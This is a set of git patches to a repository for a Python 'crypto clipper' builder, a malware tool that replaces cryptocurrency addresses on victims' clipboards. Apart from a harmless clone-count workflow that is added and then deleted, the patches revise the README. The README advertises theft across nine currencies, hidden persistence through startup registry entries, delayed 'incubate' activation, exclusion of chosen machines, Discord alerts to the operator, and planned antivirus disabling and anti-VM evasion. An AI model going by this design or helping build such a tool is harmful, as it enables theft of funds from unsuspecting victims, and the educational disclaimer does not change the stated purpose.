From 0b5c2b9e9a3b5e575ea409595ecef365d7de88d2 Mon Sep 17 00:00:00 2001 From: 3022-2 <82278708+3022-2@users.noreply.github.com> Date: Sun, 4 Aug 2024 00:28:24 +0100 Subject: [PATCH 1/6] Create clone-count.yml --- .github/workflows/clone-count.yml | 35 +++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 .github/workflows/clone-count.yml diff --git a/.github/workflows/clone-count.yml b/.github/workflows/clone-count.yml new file mode 100644 index 0000000..81d74a3 --- /dev/null +++ b/.github/workflows/clone-count.yml @@ -0,0 +1,35 @@ +#used chatgpt for this lol + +name: Clone Count + +on: + schedule: + - cron: '0 0 * * *' + push: + branches: + - main + +jobs: + update-clone-count: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Fetch clone count + run: | + CLONE_COUNT=$(curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \ + -H "Accept: application/vnd.github.v3+json" \ + https://api.github.com/repos/${{ github.repository }}/traffic/clones \ + | jq '.count') + echo "clone_count=${CLONE_COUNT}" >> $GITHUB_ENV + + - name: Update badge + run: | + curl -o clone-count-badge.svg "https://img.shields.io/badge/Clones-${{ env.clone_count }}-brightgreen" + git config --global user.name 'github-actions' + git config --global user.email 'github-actions@github.com' + git add clone-count-badge.svg + git commit -m "Update clone count badge" + git push From d79e80f30cb70e34a65654ba74b32c0024896aab Mon Sep 17 00:00:00 2001 From: 3022-2 <82278708+3022-2@users.noreply.github.com> Date: Sun, 4 Aug 2024 00:30:17 +0100 Subject: [PATCH 2/6] Delete .github/workflows directory --- .github/workflows/clone-count.yml | 35 ------------------------------- 1 file changed, 35 deletions(-) delete mode 100644 .github/workflows/clone-count.yml diff --git a/.github/workflows/clone-count.yml b/.github/workflows/clone-count.yml deleted file mode 100644 index 81d74a3..0000000 --- a/.github/workflows/clone-count.yml +++ /dev/null @@ -1,35 +0,0 @@ -#used chatgpt for this lol - -name: Clone Count - -on: - schedule: - - cron: '0 0 * * *' - push: - branches: - - main - -jobs: - update-clone-count: - runs-on: ubuntu-latest - - steps: - - name: Checkout repository - uses: actions/checkout@v2 - - - name: Fetch clone count - run: | - CLONE_COUNT=$(curl -H "Authorization: token ${{ secrets.GITHUB_TOKEN }}" \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/repos/${{ github.repository }}/traffic/clones \ - | jq '.count') - echo "clone_count=${CLONE_COUNT}" >> $GITHUB_ENV - - - name: Update badge - run: | - curl -o clone-count-badge.svg "https://img.shields.io/badge/Clones-${{ env.clone_count }}-brightgreen" - git config --global user.name 'github-actions' - git config --global user.email 'github-actions@github.com' - git add clone-count-badge.svg - git commit -m "Update clone count badge" - git push From 8b277f9e0fa69201c367d607cf177ceebaa672eb Mon Sep 17 00:00:00 2001 From: 3022-2 <82278708+3022-2@users.noreply.github.com> Date: Sun, 4 Aug 2024 12:05:21 +0100 Subject: [PATCH 3/6] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1f954c6..98cd1b6 100644 --- a/README.md +++ b/README.md @@ -75,4 +75,4 @@ DISCLAIMER: The code provided in this repository is intended for educational and WARNING: THIS IS MAKES MALWARE DESIGNED FOR STEALING CRYPTOCURRENCY. USE UNINSTALL GUIDE IF UNINSTALL CODE FAILS. (not found error doesn't necessarily mean didnt uninstall) # contact -discord: cumsock0 +discord: hyperborean__ From 5d7cd448f5c7121a50934b779e731cb8a6f3c61e Mon Sep 17 00:00:00 2001 From: 3022-2 <82278708+3022-2@users.noreply.github.com> Date: Sun, 4 Aug 2024 15:44:53 +0100 Subject: [PATCH 4/6] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 98cd1b6..2bafd5e 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,7 @@ you can also manual uninstall # legal DISCLAIMER: The code provided in this repository is intended for educational and malware analysis purposes only. Any use of this code for illegal or unethical activities is strictly prohibited. The author of this code shall not be held responsible for any misuse or damage resulting from its use. Users are solely responsible for ensuring compliance with applicable laws and ethical standards. + WARNING: THIS IS MAKES MALWARE DESIGNED FOR STEALING CRYPTOCURRENCY. USE UNINSTALL GUIDE IF UNINSTALL CODE FAILS. (not found error doesn't necessarily mean didnt uninstall) # contact From a6610639b5848a77bf8eb870a5e1066fc4cb512d Mon Sep 17 00:00:00 2001 From: 3022-2 <82278708+3022-2@users.noreply.github.com> Date: Sun, 4 Aug 2024 17:06:46 +0100 Subject: [PATCH 5/6] Update README.md --- README.md | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index 2bafd5e..0fcab7b 100644 --- a/README.md +++ b/README.md @@ -31,18 +31,19 @@ malware features - malware saved as .pyw and then compiled to .exe meaning that the malware runs in the background silently features i will want to add in the future -- self check to avoid multiple instances -- file extention spoofer -- file size pumper -- code within "" and executed with exec() -- another obfuscation method and compile method to choose from -- duplicate file cleaner (when the persistent file is cteated remove its icon to make less obvious in startup apps) -- anti virus disable/self exclude (no idea if self exclude is even possible lol) -- anti virtual machine -- process injection???? - maybe on this one, no idea how it works -- exclude - (exclude specific computer names and so on) -- incubate (only starts running after a specific amount of restarts) -- second file persistence (if the first persistent file is removed successfully the second one will run - will be stored separately from main persistence files) +- [ ] more supported crypto currencies +- [ ] self check to avoid multiple instances +- [ ] file extention spoofer +- [ ] file size pumper +- [ ] code within "" and executed with exec() +- [ ] another obfuscation method and compile method to choose from +- [ ] duplicate file cleaner (when the persistent file is cteated remove its icon to make less obvious in startup apps) +- [ ] anti virus disable/self exclude (no idea if self exclude is even possible lol) +- [ ] anti virtual machine +- [ ] process injection???? - maybe on this one, no idea how it works +- [ ] exclude - (exclude specific computer names and so on) +- [ ] incubate (only starts running after a specific amount of restarts) +- [ ] second file persistence (if the first persistent file is removed successfully the second one will run - will be stored separately from main persistence files) # pictures ![Screenshot 2024-06-10 002933](https://github.com/3022-2/raccoon_clipper/assets/82278708/93a990cb-6a3f-4bc8-b2b9-1cf73618cb8b) ![Screenshot 2024-06-10 002933](https://github.com/3022-2/raccoon_clipper/assets/82278708/040d54e4-39d2-455f-8603-a46b879dbc4a) From f8b24b46bdf1d05c3b34aaa6e0377333b88f89cb Mon Sep 17 00:00:00 2001 From: 3022-2 <82278708+3022-2@users.noreply.github.com> Date: Sun, 4 Aug 2024 17:17:57 +0100 Subject: [PATCH 6/6] Update README.md --- README.md | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 0fcab7b..5e787fe 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # raccoon crypto clipper written in python -## **supports bitcoin, ethereum, litecoin, monero, solana, dogecoin, ripple, tron** +## **supports bitcoin, ethereum, litecoin, monero, solana, dogecoin, ripple, tron, bitcoin cash** ![Documentation](https://img.shields.io/badge/documentation-yes-brightgreen) ![Maintenance](https://img.shields.io/maintenance/yes/2025) @@ -19,19 +19,24 @@ gui features - has documentation built into the GUI under the documentation tab malware features -- supports Bitcoin, Ethereum, Litecoin, Monero, Solana, Dogecoin, Ripple, Tron at the same time -- three different types of the same malware but using different methods. subprocess, ctypes and pyperclip +- supports Bitcoin, bitcoin cash, Ethereum, Litecoin, Monero, Solana, Dogecoin, Ripple, Tron at the same time +- six different types of the same malware but using different methods. subprocess, ctypes and pyperclip + - tkinter uses the tkinter libary - fully python standard libary so no pip installs (is fastest + best on old/shit hardware) - subprocess uses powershell commands to read and set clipboard - uses python standard libary so no need for the target to install anything - ctypes uses ctypes to read clipboard and powerhsell to set clipboard - uses python standard libary so no need for the target to install anything - - pyperclip uses the pyperclip module to read and set clipboard - requires the target the run the command pip install pyperclip + - pyperclip uses the pyperclip module to read and set clipboard - requires the target the run the command ```pip install pyperclip``` + - clipboard is literally a reskin of pyperclip - requires the target the run the command ```pip install clipboard``` + - win32clipboard uses the libary pywin32 - requires the target the run the command ```pip install pywin32``` - duplicates and adds itself to startup apps (registry) for persistence under a different name - has single use method - allows discord webhook (whenever a address is detected you get a discord notification which says the computer name and that the address has been changed), doesnt need any installs as uses http.client rather than requests to send POST requests to webhook - option to ping @everyone - malware saved as .pyw and then compiled to .exe meaning that the malware runs in the background silently +- has a 3 restard incubate feature +- has a ignore feature (to not run on computers with a given computer name) features i will want to add in the future -- [ ] more supported crypto currencies +- [x] more supported crypto currencies - [ ] self check to avoid multiple instances - [ ] file extention spoofer - [ ] file size pumper @@ -41,12 +46,13 @@ features i will want to add in the future - [ ] anti virus disable/self exclude (no idea if self exclude is even possible lol) - [ ] anti virtual machine - [ ] process injection???? - maybe on this one, no idea how it works -- [ ] exclude - (exclude specific computer names and so on) -- [ ] incubate (only starts running after a specific amount of restarts) +- [x] exclude - (exclude specific computer names and so on) +- [x] incubate (only starts running after a specific amount of restarts) - [ ] second file persistence (if the first persistent file is removed successfully the second one will run - will be stored separately from main persistence files) # pictures -![Screenshot 2024-06-10 002933](https://github.com/3022-2/raccoon_clipper/assets/82278708/93a990cb-6a3f-4bc8-b2b9-1cf73618cb8b) -![Screenshot 2024-06-10 002933](https://github.com/3022-2/raccoon_clipper/assets/82278708/040d54e4-39d2-455f-8603-a46b879dbc4a) +![image](https://github.com/user-attachments/assets/ce014b63-338f-4a15-8c57-ead855f050c6) +![image](https://github.com/user-attachments/assets/e45c3400-8389-432d-aeba-d021c2bb15c1) + if discord is being used ![Screenshot 2024-06-03 233516](https://github.com/3022-2/crypto_clipper_builder/assets/82278708/b0111946-3bed-425c-a871-ebf63b9d33f1)